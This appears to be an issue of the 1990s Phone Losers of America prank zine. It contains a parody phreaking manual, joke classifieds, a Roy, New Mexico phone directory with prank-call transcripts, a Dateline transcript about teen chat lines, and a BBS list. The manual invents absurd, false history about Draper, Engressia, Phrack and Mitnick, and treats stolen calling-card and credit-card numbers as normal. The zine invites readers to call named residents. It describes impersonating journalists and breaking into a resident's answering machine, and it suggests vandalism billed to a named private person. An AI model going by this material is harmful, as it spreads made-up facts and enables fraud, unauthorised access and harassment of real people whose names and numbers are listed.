Now, since you've been seen you should uproot a bush and hold it behind you and run away so they will think you are a terrorist from Iraq and no one will think it was you.

Well, I hope that gave you all good ideas on how to spend your Saturday nights! Just don't forget to carve PLA in one of the big trees around what ever you...visit....just so everyone knows that the Phone Losers are out to get them.  Below the initials you might want to put a note saying that all bills will be covered by Chris Tomkinson and leave his address.

The Official Phreakerz Manual - by RedRoyChiliPepper:

Are you ready to be in the 3733178 Phreaking & Hacking scene?? Well, for all of you beginers, I've compiled all of the best text files along with my own extensive know-how to teach you, the novice, how to become one of the big guys in the scene.

History:

Every real phreaker in the scene knows his history so here's a brief summary of how it all began and how it's progressed through the years... In the begining, there was one phreak who started it all. His name was Bob and every phreak in the world could eventually trace their origins to Bob. Bob, born in Tribune, Kansas, was a homeless man who was rummaging through a dumpster by the phone company building looking for the night's supper and some alluminum cans (Bob was an earth-conscience wino) when he came across a large blue manual labeled "Southwestern Bell's Blue Manual of Phone Company Tones E911 That Ordinary Citizens Should Never Never Never Ever Never Have Access To!" Gee, thought Bob, I could use this very large manual tonight to cover myself up with while I sleep on the park bench.

That night, while having a little trouble sleeping (Bob had a bad case of insomnia), Bob began to read this manual and began to think about all he'd found and the next morning, sitting on the City Hall's steps used a Campbell's soup can, some string and various other electronic parts and assembled the world's first "Blue Box." With it, Bob was able to call anywhere on the block by using his blue box to mimick the phone company's own tones. Later that winter he met a man named John Draper who was in town for an anti-smoking conference who discovered that with a simple modification, Bob's blue box could call anywhere in the world.

A year later, in 1978, a lot had happened to John Draper. One morning he was looking around in the kitchen for his Frosted Flakes and was pissed when he found out that his room mate had eaten them all so he had to settle for Froot Loops instead. He ate four bowls so he could finally get to the bottom of the box to get the toy surprise, which was a plastic dildo for kids! After playing with the dildo for several hours, he found that when he blew into the end of it, he would hear a sound very close to 26,000,000 Htz, the same tone that his blue box made to control the phone company! John immediately adopted the handle Capt'n Crunch to throw the feds off and set out to Kroger's to buy out their entire suppy of Froot Loops.

Eventually, word spread about the blue boxes and many other boxes began to be built by "phone phreaks", each one serving a different form of phone fraud.

One of the more well known phreaks was a man named Joe Engressia, a deaf man who lived in Tennessee. He was eventually able to cause the pay phones in his college to give out free calls to the other students by whistling country songs into the phones. He found that when he whistled anything by Wayne Newton he could get a free call but since he was deaf, he had to get a friend to talk on the phone to whoever he reached for him. Joe was finally busted in the early eighties and sentenced to death in the state of Florida.

In 1983 the controversial movie, War Games came out and gave birth to a new generation of computer hackers and phone phreaks. Starring Tom Cruise as a teen-age hacker, this movie told the story of a kid who came close to starting Operation Dessert Storm when he used his computer to call up the library and erase his outstanding overdue book late fees.

In 1986, Erik Bloodaxe and Gail Thatckery started a publication called Phrack, which was run out of Erik's garage on his Timex Sinclair 1000 computer. Phrack continued to be the nation's leading hacker magazine until an investigator for Pacific Bell ate beans for supper and bought a 14.4 Hayes Accura modem and Phrack was shut down until the controversial E*32 article was found to have actually been written by Steve Jackson who ran a super-underground bbs called P-80 Systems.

Today the scene is still alive and kicking. Hacker Kevin Mitnick was located and arrested for writing anarchy files detailing how to crash airplanes into the White House and how to make Drain-o bombs and Wal-Mart continues to give full money-back refunds to people who give them modem casings full of crushed Pepsi cans. No one has heard from Bob for over twenty years now.

Phone Company Acronyms:

Now that you know all the history of the underground, it's time for the technical stuff. Below I'm going to list a few of the acronyms that the phone companies use.

COSMOS - Computer Operations Mattel Or Something, I think. This is the system that the phone company uses to print out their paychecks

LAC - Local Area Con. The phone company uses this term to inform people that there's a hacker conference in town.

RBOC - Regional Big Office Center. This is where the big offices are located that the employees work in.

Of course there's a whole lot more but I think that I'm too eleet to tell you. It's not really because I don't know myself. I know everything.

Phone Phreak Conference Bridges:

One of the phone phreaks major sources of trading information is the phone companys' teleconferencing services. When you hook into one of these systems, you can talk with over two people at once! The phone company's technical term for this is three-way calling and the underground is currently working on ways to get this service so they can use it on their home phones. In the old days it was really easy to do with a Kitty Litter Box and everything but with the advancing technology and the 5EFF switching system, it's a little bit more complicated.

K0dez!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!:

Getting a hold of credit card and calling card numbers is a phreak's most important task. Every real phreak in the country has set up their home answering machine as a "code line" and then created an 800 number to their house and advertised the number on bbs systems and local newspapers for people to call. When you reach a code line, the owner will read off a bunch of good codes and then at the tone you leave your own. NEVER set up a code line on a VMB system you've infiltrated!! YOU WILL BE CAUGHT!! Always set up the code lines from your home phone. This is the proven safe way.

Pay Phone Tricks:

We all know that using your home phone is the best place to use stolen calling cards and credit cards from, but sometimes it's necessary to use a pay phone, usually because a phreak is locked out of the house and didn't have his lock-picking anarchy filez on him. To get free calls on a pay phone, all you need is a "black box". This box mimicks the sound of slugs going into a pay phone and gives you free calls. If a phone company employee approaches you while you're black boxing, always smile and be friendly and show him your black box. It impresses the hell out of them when they learn about these things and most likely you'll make a new friend.

Another little known trick is all of the Bell pay phones secret commands. Go to any Bell or GTE phone, pick up the handset, deposit a quarter and dial "24998-24001-29190904675971-87-429087" and just watch what happens! All of the money came out of the phone, right?? That's right, since Knight Lightning published that pay phone key schematic in his CoTNo magazine, the phone company stopped using keys altogether and use this access codes on all of the phones across the United States. (Of course, this only works on Bell and GTE phones.)

Well, that's gonna be it for this issue. Perhaps in the next issue I'll speak a bit more on the new 5EFF switching systems, cellular hacking, putting your home fone in test mode and field phreaking.

Classifieds:

FOR SALE:  One (1) GTE  Public Pay  Phone ripped off the wall from Ed's Bar & Grill in Waverly, Iowa. In good condition aside from a few scrapes and some grafitti here and  there.  Features touch tone dialing, volume  control,  rigged for  free calls, filled with $200 in quarters that I can't manage to get out. Weighs about 900 lbs & I'm asking $2.00 for it.  Call me at 801-855-3326 if  you're interested.  WARNING:

This product is equiped with a GTE Homing Device (tm).  If you  buy this  phone and live in GTE territory,  they will drive a bunch of  trucks around your neighborhood and FIND you! Any buyers?

WANTED: Any kind of fone answering machine that  doesn't have  remote access capabilities. I really need an  answering machine cheap  but I cant have RedBoxChiliPepper always listening to all my messages. Call Chris  Tomkinson at  618-258-0357.

FOR SALE: One kidnapped AT&T operator.  Old, wrinkly, wears glasses and an operator  headset  all  the time.  Answers to the name of Kay. Abducted  earlier  this  week from the AT&T building in  Portland, OR on Stark Street. Not really a very friendly  type but  she likes  to   answer  the phone.Anyone interested please   send   a  self addressed,  stamped envelope to 4361 Vine St. Cincinnati, Ohio, 69842 or call 1-800-328-2120.

FOR SALE, GODDAMMIT: One cocksucking cordless phone. $30 obo or  15 packs of Marlboros.  No longer needed because  those  dickweeds  keep  listening in  on my fucking conversation but just let 'em fucking try it again.  I got  the  *32 all  rigged  with  the phone company and I'll find the  little bastards.  I  know who  you are, Roy.  Call Dean Allsman,  618-xxx-xxxx

GARAGE SALE: 1021 Broadway, Highland, IL Sat & Sun, rain or shine. Clothes, toys, Wangs, Mainframes, red boxes, blue boxes lineman's handsets, nick knacks, old crossbar  switches, 500  meg hard  drives, phone company tech manuals,  electronics, lot more!

Would you like to leave an ad in the PLA Classified section? If so, e-mail the classified department at rbcp@big12.metrobbs.com or you can phone in your ad at 512-370-4680.Rates are 15-20 words, free and 21 words or more will cost your soul. Just check "bill me."

How To Build A Beige Box - by Calimar Rasputan (Caffeine Boy):

First, get a phone with a cord. Cut the jack off. Put roach clips on the wires.  Find a box. Use it.

Roy, New Mexico Telephone Directory:

PLA is proud to be the first to bring you the Roy, New Mexico telephone  directory. Below is the number of every listed person in Roy's September 1995 telephone book. Also included are a few phone conversation transcripts from when I called up residents of Roy and interviewed them. None of them are made up, these are actual conversations that I transcribed from tapes. Residents of Roy are awaiting your calls!

<<A>>

Abernathy, E H................485-2417

Alexander, Bernice............485-2249

Ambulance..........................911

Anderson, Dorothy G...........485-2489

Anderson, Grady O.............485-2573

Anderson, Hob.................485-2691

Anderson, Richard Ray.........485-2504

Andreas, Ebell................485-2661

Archuleta, Henry..............485-2291

Archuleta, Tony...............485-2284

Atkins, Joe A.................374-8648

<<B>>

Baca, Henry Jr................485-2231

Baca, John M..................485-2605

Bada, Jerry...................485-2430

Bada, Ruth....................485-2524

Baker, Darrel.................485-2476

Barbeau, Roland G.............485-2411

Baum, James...................485-2538

Beard, Earl B.................485-2450

Beard, Elmer..................485-2460

Beard, Floyd W................485-2465

Belvin, Jimmy.................485-2440

Bencomo, Ben..................485-2556

Bennett, S A..................485-2494

Berner, Wallance D............485-2485

Blasi, John...................485-2232

Blosser A C...................485-2530

Boulware, Richard.............485-2508

Bowman, Willis W Jr...........485-2514

Brock, Stephen L..............485-2554

Brockman, Gene................485-2420

Brown, Trigg..................485-2483

Burton, Neil..................485-2674

<<C>>

Cactus Flower Gifts...........485-2626

Cates, John C.................485-2218

Chisum, Curtis Carl...........485-2688

Clavel, C J Jody..............485-2543

Clavel, Joe...................485-2591

Couch, Ottie..................485-2226

Craig, Jim....................485-2660

<<D>>

DeHerrera, Ernest.............485-2617

DeLano, Mike..................485-2449

Deschamps, Emilio.............485-2428

Deschamps, Gilbert............485-2240

Dikeman, Gerald...............485-2250

Du La, Bruce..................485-2551

<<E>>

Eastern Plains Title 111......485-2639

Ebell, Anthony Sister.........485-2676

Ebell, Anothony & Terry.......485-2252

Ebell, Bonifacio..............485-2265

Ebell, Bonifacio S............485-2667

Ebell, Hilario................485-2241

Ebell, Horacio J..............485-2260

Esquibel, Annette.............485-2436

Esquibel, Antonio & Felicia...485-2408

Esquibel, Cassie..............485-2643

Esquibel, Charlie.............485-2243

Esquibel, Johnny E............485-2640

Esquibel, Lencho..............485-2293

Esquibel, Secundino...........485-2623

<<F>>

Farley Ranch-Flemming Camp....485-2515

Farley Ranch..................485-2575

Farley School.................485-2606

Fire Department....................911

First Baptist Church..........485-2679

Floershiem, Allen.............485-2211

Floershiem Printing...........485-2212

Floershiem Printing Line 2....485-2213

Fluhman, Ernest Warner Jr.....485-2582

Fluhman, Lee & Sherrita.......485-2586

<<G>>

Gallagher, J E................485-2224

Garcia, Jimmy.................485-2431

Garrison, Harrell.............485-2568

Gift, Fred....................485-2440

Gillespie, G P................485-2517

Gilstrap, Phil................485-2233

Glaze, James & Ross...........485-2525

Gonzales, Eloy T..............485-2650

Gonzales, Maria J.............485-2246

Gutierrez, Ernest.............485-2665

<<H>>

Harding County Fire District..485-2637

Harding Magistrate Court......485-2549

Hartley, Pat..................485-2534

Hartley, Pat (Mobile Unit??)..763-5575

Hazen, Billy..................485-2696

Hazen, Richard................485-2618

Heimann, Frank................485-2507

Hephner, Anthony & Cathie.....485-2269

Herron, L Allen...............485-2636

Hicks, Bob....................485-2544

Holy Family St. Joseph Parish.485-2579

Hooper, Edith.................485-2592

<<I>>

Ivey, A E.....................485-2276

Ivey, Era Allice Mrs..........485-2562

<<J>>

Jeffers, Viola................485-2433

Johnson, Carroll Mrs..........485-2227

Judy, Rod.....................485-2649

<<K>>

KGM Electric..................485-2217

Kidd, Champ...................485-2296

Kirkland, J H.................485-2295

Kitzing, August...............485-2285

<<L>>

Latham, John..................485-2536

Laumbach, Alfred C............485-2457

Laumbach, Pedro J.............485-2678

Laumbach, Rick................485-2253

Ledoux, Pat...................485-2621

Linder, Dave W................485-2427

Lovato, Joe M.................485-2692

Lovato, Manuel................485-2201

Lovato, Tody..................485-2629

Lucero, G A...................485-2414

Lujan.........................485-2266

Lujan, Louis A................485-2468

<<M>>

Mackey, Monroe................485-2296

Madole, Wyman.................485-2237

Maestas, Frank................485-2689

Mahoney J H Construction......485-2244

Mahoney, John A...............485-2572

Manly, Ray E..................485-2279

Martha's Cafe.................485-2661

Martin W F....................485-2219

Martinez, Berthn..............485-2466

Martinez, Frances G...........485-2215

Martinez, George & Rachel.....485-2217

Martinez, Nick Jr.............485-2255

Masonic Lodge.................485-2546

Mayer, Doc & Corolyn..........485-2462

McDonald, Harrison............485-2287

McGlaun, Casey................485-2687

Menapace, M E.................485-2259

Mesa Hotel....................485-2661

Methodist Parsonage...........485-2594

Mike's Conoco.................485-2267

Milson D S....................485-2298

Mitchell, Chet................485-2547

Mitchell, Ed..................485-2589

Montoya, Florencio J..........485-2223

Montoya, Michael..............485-2270

Moore, Jack...................485-2685

Motor Vehicle Division........485-2607

<<N>>

New Mexico Highway & Trans....485-2646

New Mexico Highway Department.485-2697

New Mexico Park Service.......485-2424

New Mexico State Land Office..485-2627

Nucci, Eugene J...............485-2662

<<O>>

Olivas, Julian & Helen........485-2636

<<P>>

Payton, Leon..................485-2297

Pendleton, D C................485-2248

Pendleton Oil & Gas Company...485-2262

Pendleton Station.............485-2542

Pendleton, Stephen R..........485-2630

Perea, Richard................485-2288

Pete's Boots & Saddles........485-2220

Police Department.............485-2204

Popejoy Construction Co Inc...485-2454

Porterfield, Harold...........485-2202

Powell, Mary..................485-2432

Prichard, Donald..............485-2595

<<Q>>

Quintana, Lucille.............485-2670

Quintana, Pete................485-2271

Quintana, Roy T...............485-2238

<<R>>

Rael, M.......................485-2577

Raska, Wayne..................485-2624

Ray, Donna....................485-2545

Ray, George H 3rd.............485-2559

Ray Ranch.....................485-2559

Ray, Wendy & Rocky............485-2619

Redlich, Frank................485-2490

Reese Ranch Store.............485-2426

Rice..........................485-2687

Rigoni, Brenda F..............485-2570

Rigoni, James.................485-2634

Rigoni, Roy...................485-2283

Romero, Edward................485-2653

Romero, Santos & Faye.........485-2564

Roy Feed Store................485-2626

Roy Public School.............485-2521

Roy Public School (Suptndt)...485-2242

Roy Sundries..................485-9939

Roy Village Clerk.............485-2541

Roy Matenance.................485-2435

Roy Marshall (Police Dept)....485-2204

Water Superintendent..........485-2435

<<S>>

S O Ranch.....................485-2688

S O Ranch Camp................485-2537

Sanchez, Maria Martinez.......485-2503

Sande, Dean...................485-2655

Sandoval, Alfred Jr...........485-2616

Saunders, Juanita & Gary......485-2406

Scott, Allen..................485-2657

Scott, Carl...................485-2628

Scott, Keith..................485-2652

Scott's Stop 'N' Shop.........485-2299

Self, Dolty & Betty...........485-2275

Self, Roy H...................485-2236

Shaw, Albert..................485-2264

Shurbet, L V..................485-2239

Skies, Cliff..................485-2575

Skiles, Cliff.................485-2515

Smith, Bryce..................485-2520

Smith, Thomas.................485-2598

Springer Electric Cooperative.485-2253

Sussman, Norman & Gabriele....485-2222

<<T>>

Tafoya, Delfinia..............485-2593

Tafoya, Steve.................485-2695

Taylor, Bennie................485-2282

Telles, M A...................485-2588

The Bank of New Mexico........485-2281

Trampe, Agnes.................485-2221

<<U>>

Ulibarri, Larry...............485-0334

Soil Conservation Service.....485-2294

U.S. Post Office..............485-2648

Unruh, Herman & Helen.........485-2592

<<V>>

Velasquez, John...............485-2234

<<W>>

Wadlington, Virginia..........485-2555

Wallis, Francis...............485-6101

Weathers, L...................485-2461

Weathers, T Allen.............485-2539

Weisdorfer, Charles Ivan......485-2254

Weisdorfer, Donald............485-2256

Weisdorger, Donald............485-2671

Wood, Travis..................485-2693

<<XYZ>>

Ybarra, Amadeo................485-2610

Ybarra, Carmen................485-2690

Ybarra Propane................485-2686

Zachry, Dellas G..............485-2654

Their phone company is called Enmr Telephone Cooperative, Inc. Their business office's number is 1-800-432-2369 and repair service is also 1-800-432-2369.

Interviews With Roy Residents:

Cactus Flower Gifts: I called here and a very nice lady answered the phone.  Their phone number is 485-2626 so it's obvious that this is Emanuel Goldstien's Roy Headquarters for 2600 Magazine.

HER: Cactus Flower Gifts.

ME:: What kind of flowers can I get there?

HER: Well, we don't actually have any flowers available right now.

ME:: Isn't this a flower shop?

HER: No, it's a gift shop.

ME:: Like sort of a souvineer shop??

HER: Yeah.

ME:: Hey, cool, do you have anything with "Roy New Mexico" printed on it?

HER: Hmmm, well, we have coffee mugs and some magnets.

ME:: How much are the magnets?

HER: They're $2.10, that'd be $2.22 with tax.

ME:: Do you think I could send you a money order and you could mail it to me?

HER: No, I don't think that'd be a problem.

ME:: Okay, could I get your address there?

HER: It's P.O. Box 98, Roy, New Mexico, 87743.

ME:: Do the magnets have "Roy" printed on them? Any with a cactus on it?

HER: (Rummages through her magnets...) Yeah, here's one...It's got a cactus, a road runner and has Roy, NM printed along the bottom.

ME:: Cool, well, I'll send you the money and a little extra for postage first thing in the morning then!

HER: Okay, well, thank you.

Funny, not once did she act like it was weird that I was calling to mail order something, nor did she ask me where I was calling from. Unfortunately I was making all these calls on July 4th so I wasn't able to talk to the police station. But several stores were still open and a lot of residents were home to talk to. I was able to get ahold of Travis Wood and have a few words with him:

TRAVIS: Hello?

RBCP: Hi, I'm with the Los Angeles Daily news in California. We're just doing an interview to the residents of Roy, New Mexico concerning the recent UFO sightings over your town.

TRAV: Oh. Well, I don't know about any UFOs being sighted over the city. Have you had any reports of 'em?

RBCP: Oh, tons! It's all over the news and the papers over here. And also in New York where I've been doing some work.

TRAV: I'm not aware of very much. Of course, there's been some reports here, I know.

RBCP: Yes, and there was a lot around Wagon Mound, too.

TRAV: Yes, uh huh.

RBCP: Have you heard anything about this?

TRAV: Not recently, no.

RBCP: Okay, well I'll just call some other people in the book here. Thanks a lot for your time.

Then I called up Herman & Helen and let Zak speak a bit on the same topic:

HELEN: Hello?

ZAK: Is this Helen?

HLN: Yes it is.

ZAK: This is Alex from the New York times in New York City.

HLN: It's who?

ZAK: The New York Times, the newspaper in New York City...Hello?

HLN: Hello?

ZAK: Yes, I'm with the newspaper. The BIG one in New York City.

RBCP: New York City??

HLN: I'm not interested in it, I don't think...

ZAK: No, no, we don't deliver out there, HELL no! I'm calling about the UFO sightings over your town.

HLN: Well I just don't know nothing about it.

ZAK: Hmmmm, well last night there was a big UFO sighted over your town and it's in all the newspapers and on T.V. You didn't see anything like that?

HLN: No sir, I sure haven't.

ZAK: Well, the reports here say that they came for those neat little magnets with the cactus and the roadrunner on them. And they wanted to kidnap people named Herman. Do you know anyone named Herman?

HLN: Yes, I know someone.

ZAK: Who do you know named Herman?

HLN: I know someone named Herman, yes.

ZAK: Who is it?

HLN: It's my husband.

ZAK: Oh, you should probably hide him because, you know, the aliens might get him.

It ended up that Herman was also on the phone listening in and the phone call ended kind of lamely. Our next phone call was to Bob Hicks. I had to talk to his wife about my bubble mower being stolen by two danged kids.

ME:: Hello, is Bob home?

HER: I think he's around somewhere but not very close. Can I have him call you?

ME:: Well, this is Ross. Ross Glaze. And some kids just came over here and stole my ridin' mower! Have you seen 'em drivin' around your house there?

HER: No, I haven't. Who'd you say this is?

ME:: Two stupid little kids drivin' my ridin' mower all over the place. This is Ross Glaze, down the street, cross town, 'round the bend.

HER: Where are you from?

ME:: I'm here in Roy.

HER: Well, there hadn't been anyone around here.

ME:: Well, if you see 'em you give me a call back, okay?

HER: What's your number?

ME:: It's 2525.

HER: Okay, I will.

ME:: Thank you, bye!

Leon Payton was a fun person to call because he wasn't home and I got to talk to his answering machine. Me, being the amazing unbelievable hacker that I am, was able to conquer his one digit passcode on his answering machine, listen to his messages, erase them and then change his greeting.

OLD MESSAGE:

"Hello. This is Leon. I am unable to answer the telephone right now, but if  you will leave your name and telephone number, I will return your call."

NEW AND IMPROVED MESSAGE:

"Hello, this answering machine has been infiltrated by the Phone Losers of America. You HAVE reached the PLA headquarters in Roy, New Mexico. Leon no longer owns this machine or the house. It's all been taken over by the PLA. Unfortunately no one is here to answer your call, but if you leave your name, number and a message, we'll get back to you as soon as possible. Thank you for calling..."

---Phone Losers Of America Headline News---

Retired Switchboard Operator Recalls Listening In:

3/26/94 broadcast news

DANIEL ZWERDLING, Host: In the 1940's and '50's Veladie Parker worked as a switchboard operator in the small town of McGreggor in East Texas. And Parker says that like most telephone operators, she would occasionally pass time listening in on people's telephone calls.

VELADIE PARKER: We knew everybody who was doing things they shouldn't be doing. We knew boyfriends, girlfriends, oh yes, we knew. And we talked about it among ourselves, but we didn't make gossip of it. Because you know, when I was in Waco and they trained me, Miss Mamie trained me, and she said, now, I'm going to tell you it is not against the law to listen in, but it is against the federal law to repeat it, and you know information begs to be told. Never would forget that, never will, a hundred years ago. [laughter]

[music]

MS. PARKER: There was a killer out, it has been a long, long time ago, and he broke out of jail and I was working on nights and he killed about six people in East Texas, I think, and he was out. I just happened to pick up a call where he was, and, boy, it hit me like that. And I pondered and pondered and pondered over it, you know. And so, I finally called the Texas Rangers and told them and, so, he was done away with pretty quick after that. That was one thing that's been on my mind all my life.

Teen-agers and Their Families Are Victims of Telephone Chat Lines:

[The following is a news transcript I found in the library computers and thought it was interesting. I used to really be into the chat line scene, but not in the 515 area. This article is really accurate about how people get addicted to these things...RBCP]

Dateline NBC Friday Dec2, 1994

BRYANT GUMBEL reporting: Good evening. It's a fact of life that kids, especially teen-agers, spend a lot of time on the phone. So it should come as no surprise that so-called 'chat lines' have become the latest craze of some young people. The lines seem innocent enough, but there is a downside. We found teen-agers who became obsessed--in one case even running away to live with strangers from the chat line. Here's Lea Thompson with part three of our

DATELINE investigation. DIALING FOR DOLLAR$ [<-they think they're eleet]

Offscreen Voice: (From telephone) What's up? You've reached the rap line.

ALEXIS: It really gets you addicted because you want to keep calling these people.

LEA THOMPSON reporting: (voiceover) It's a totally teen phenomenon.

Ms. KYLE BURGER: I got hooked on it, and I kept calling it.

Offscreen Voice: (From telephone) Welcome to the line with you in mind.

ALEXIS: I spent almost 24 hours a day on that line.

THOMPSON: Anyone can join this party line of the young and the restless; half a dozen can share conversation on one line. It's advertised as free but it can be very expensive and dangerous.

ALEXIS: I never thought it would lead to this. This never crosses your mind when you pick up a phone. I mean, it's a phone. Who would know it could tear your family apart so much?

THOMPSON: What did you talk about?

ALEXIS: Anything. There was--you could say anything and everything.

THOMPSON: But you talked for hours at a time?

ALEXIS: Oh, god. I talked for days at a time!

THOMPSON: Alexis says she got addicted to chat lines after she changed schools and started having a lot of trouble fitting in. What did the chat line do for you that you couldn't get from your friends?

ALEXIS: I guess more acceptance, you know. I was always a very insecure person.

THOMPSON: For Alexis, the cost of this long-distance belonging was very high, higher than anyone could imagine.

ALEXIS: I admit I was totally hooked on that line.

THOMPSON: Every time things heated up at home over the phone bills, the 14 year old would take off across the country to live with adults, men and women she'd met on the chat line.

ALEXIS: There was, ranging from 19 years old to--I think the oldest I was with was twenty-five.

THOMPSON: And she did it not once or twice but six times. You just blindly went off and met these people without a second thought?

ALEXIS: Oh yeah, no thought at all. It was just, you know, I'm getting away from my problems. I'm--it's always in the TV or newspapers that yes, you know, this person's been raped and killed or so and so; but it never occurred to me that it could actually happen to me.

THOMPSON: But it occurred to her father, Bill, who was desperately trying to find her.

BILL: Yes, we were worried every time she was gone.

THOMPSON: And Alexis had run up more than $4,000 in long distance bills. When her father couldn't pay, the phone was disconnected. But that isn't supposed to happen. Two years ago, Congress wrote a law to protect families from phone nightmares like this. The law says that services like chat lines are supposed to be on 900 numbers, numbers parents can have blocked. It says you can dispute a 900-call charge without being disconnected. To get around the law, chat lines have moved their services onto regular long-distance lines, and that strips parents of the power to protect themselves and their kids. As a result, Bill had no recourse when Pacific Bell disconnected his service, and he was reduced to calling Alexis' chat-line friends to try to find her.

Offscreen Voice: (from telephone) A place to talk to girls and guys from all over the hood...

BILL: We spent hours at pay phones calling people on the chat line.

THOMPSON: It worked and he brought her home. But then he almost lost her for good. Alexis says her life was a disaster, and the bills and the anger and the guilt were too much.

ALEXIS: And I attempted suicide and ended up in intensive care on my birthday. And that was, like, one of the worst times in my life.

BILL: It's been a pure hell. Nothing mattered to her as much as being on the phone.

Offscreen Voice: (from telephone) Hey, everyone, thanks for calling. You've reached the most raging party line in the country.

THOMPSON: Seventeen-year-old Kyle Burger was also lured into the chat-line scene, much to the dismay of her mother.

Ms. MARY BURGER: It makes me angry because the kids don't know any better.

KYLE BURGER: My friend gave me the phone number. That because my new set of friends.

THOMPSON: Mary Burger says kids often get started after reading the dozens of chat-line adds in magazines like Rolling Stone or Spin. The ads say it is 'hip' and 'hot' and 'sexy' and 'free'--free.

THOMPSON: Did you think it was free?

KYLE BURGER: The introduction to the party line was misleading.

THOMPSON: With her mother's permission, Kyle showed us how to get to her favorite chat line. It's a 515 area code. Offscreen Voice: (from telephone) This is...(unintelligible)...the one and only, your personal connection to the hottest free party lines around.

THOMPSON: It said 'free.'

KYLE BURGER: It did.

THOMPSON: Do you believe you were doing enough to try to cut her off?

Ms. MARY BURGER: I was locking up the telephones. I would lock them in the trunk of my car. And you have to understand, too, that by the time I had my first bill, we were halfway into another billing cycle, so, you know, probably $3-$400 worth of charges already in place before I found out about it for the very first time.

THOMPSON: Mary also found out that Kyle was hearing more that just idle chat on these lines.

KYLE BURGER: Hello? Do I have any daughters? No.

THOMPSON: When we heard the man on the other end of this call tell Kyle he was watching a child porn film, we cut it off. Kyle's mother went on a crusade to track down who was behind all of this. It turned out to be a complicated trail, full of surprises. You might think her search would take her to Las Vagas, New York, LA, but that 515 area code on her telephone bills led her to this small town of Jefferson, Iowa. It's become the unlikely crossroads for hundreds of chat and sex lines. This area may be known as the home of corn and cattle, but now chat lines are a major cash crop. According to public records, in the two years since the small Jefferson Telephone Company hooked up with the chat and sex line operator, its profits have jumped from $352,000 a year to $2,216,000 a year.

BILL: It's amazing. I mean, obviously they've latched on a gold mine.

THOMPSON: The Jefferson Telephone Company first told us it had severed its relationship with the company that actually programs the chat lines. Jefferson Telephone refused to be interviewed on camera, but in a letter to Dateline  said, 'because some people find parts of the programming objectionable, we did the right thing in terminating the contract.' But Kyle Burger had no trouble getting Jefferson's 515 party line. Jefferson admits the contract with the company requires it to keep the lines open for up to one year after giving notice. And who is that contract with?

Ms. MARY BURGER: His name's Ian Eisenberg.

THOMPSON: When Mary Burger complained to the Jefferson Telephone Company, she was sent to Ian and Joel Eisenberg.

Ms. MARY BURGER: And I said, 'I'm not going to go away. I want you to know that I'm going to be your worst nightmare.'

THOMPSON: The man in the Rolls Royce is Joel Eisenberg. Eisenberg's business took in more than $63 million a year, according to documents filed in court in 1991 by the IRS. He then was running 72 separate corporations, almost all in the phone-entertainment business. Eisenberg gained national attention in the late '80s when he ran a TV ad encouraging kids to call Santa Claus on a 900 pay line. It instructed children to hold up the phone to the TV. Then the commercial played the telephone tones and the call was automatically connected.

The IRS has investigated whather Joel Eisenberg underreported his income. The agency raided his Seattle offices in 1991. No charges have been filed. Meanwhile, the elder Eisenberg has passed the chat-line business off to his son, Ian. We wanted to talk to Joel and Ian Eisenberg. They wouldn't respond to our request for an interview, so we tried in person.

(Thompson waiting by car as man leaves car)

THOMPSON: Mr. Eisenberg?

JOEL EISENBERG: Yes.

THOMPSON: How do you do? I'm Lea Thompson from DATELINE NBC.

JOEL FLUHMAN: Hi. How are you?

THOMPSON: I wonder if I could talk to you a little bit about your business.

JOEL FLUHMAN: I'm afraid not.

THOMPSON: (seconds later, Ian showed up for work) Are you Mr. FLUHMAN?

IAN FLUHMAN: You are?

THOMPSON: Lea Thompson from DATELINE NBC. I wonder if I could talk to you a little bit about you and your father's business. We'd like to talk to you about the chat lines. People say that you're running ads that say the chat lines are free, and then they get these huge bills, and they want to know how you can call your chat lines 'free'?

While Ian FLUHMAN didn't answer, industry insiders say the chat is free because you only pay the long-distance charges. So how do people like the FLUHMANs make so much money? Well, Jefferson Telephone says it gives the FLUHMANs a cut of what it collects. We went to the Federal Communications Commission to ask if it was legal for a phone company to do that. Now the FCC is asking questions, too.

KATHLEEN WALLMAN (FCC): We've commenced an investigation of the Jefferson Company, including an audit of its books, and that compensation arrangement is one of the things we're looking at.

THOMPSON: People like Mary Burger never heard about chat lines until eight months ago. Now she says they represent expense and exploitation that never seems to end.

MARY BURGER: I felt victimized by the Ian FLUHMANs of the world, and I felt victimized by the phone companies, and I felt victimized by my own daughter.

THOMPSON: What did it do to your family?

MARY BURGER: It made enemies out of us. I'm sorry.

THOMPSON: It tore your family apart.

MARY BURGER: It put my daughter in touch with people that--that I felt weren't good for her. It brought a lot of hatred and animosity into my home. It's not been easy to deal with.

GUMBEL: If you feel that your child is spending too much time on chat lines, try calling your local phone company. They can't help too much, but there are a few that will block the number for you.

Become A PLA Distribution Site Today!:

Below is the current list of listed Phone Loser distribution sites. If you'd like to become a PLA distribution site or already carry the PLA files on your board, fill out the application form attached below. (Especially if your area code isn't in the below list.) Please note that some of these boards aren't "offical" sites, but just boards that happen to carry our files on them.

206-859-9469 Dark Side of the Moon - Seattle, Washington

208-466-1679 King's Domain - Nampa, Idaho

301-884-5012 Studio 54 - Mechanicsville, Maryland

303-343-4053 Hacker's Haven - Aurora, Colorado

303-932-1195 Twenty Miles North of Nowhere - Colorado

312-528-5020 Ripco - Chicago, Illinois

319-234-3654 UnderDark - Waterloo, Iowa

360-297-4049 The Coven -  Kingston, Washington

405-341-9361 Phreaks of the Industry - Oklahoma City, Oklahoma

405-720-1666 Dissident - Oklahoma City, Oklahoma

503-636-3855 The Bin - Portland, Oregon

510-743-0603 Terminal Drift - East Bay, California

512-458-3409 The Sprawl - Austin, Texas

512-790-8989 Aurora Magellan - Rockport, Texas

512-851-8317 Sonic Youth Systems - Corpus Christi, Texas

512-883-7543 Whombat Communications - (RBCP's Lame BBS)..Corpus Christi, Texas

514-725-0189 Sillicon Underground - Montreal, Quebec

616-373-5885 Larcenist's Keep - Kalamazoo, Michigan

618-797-2339 Roy's Place (PLA Original WHQ) - Granite City, Illinois

619-451-2174,,11,11 Sea of Green - San Diego, California

703-362-9629 The Other Side of Reality- Virginia

717-788-7435 Cyber-Sphincter - Drums, Pennsylvania

810-348-0421 Daddy Hill House - Northville, Michigan

907-780-6760 Syenergy - Juneau, Alaska

Application To Be A Phone Loser Distribution Site

So, you'd like to be one of the "official" distribution sites for the Fone Losers of America? Why?? You know, when everybody finds out that you're pathetic enough to carry PLA on your system they're all just going to laugh at you and make fun of you and have your home phone turned into a pay phone but if you really, really insist, here's the application...

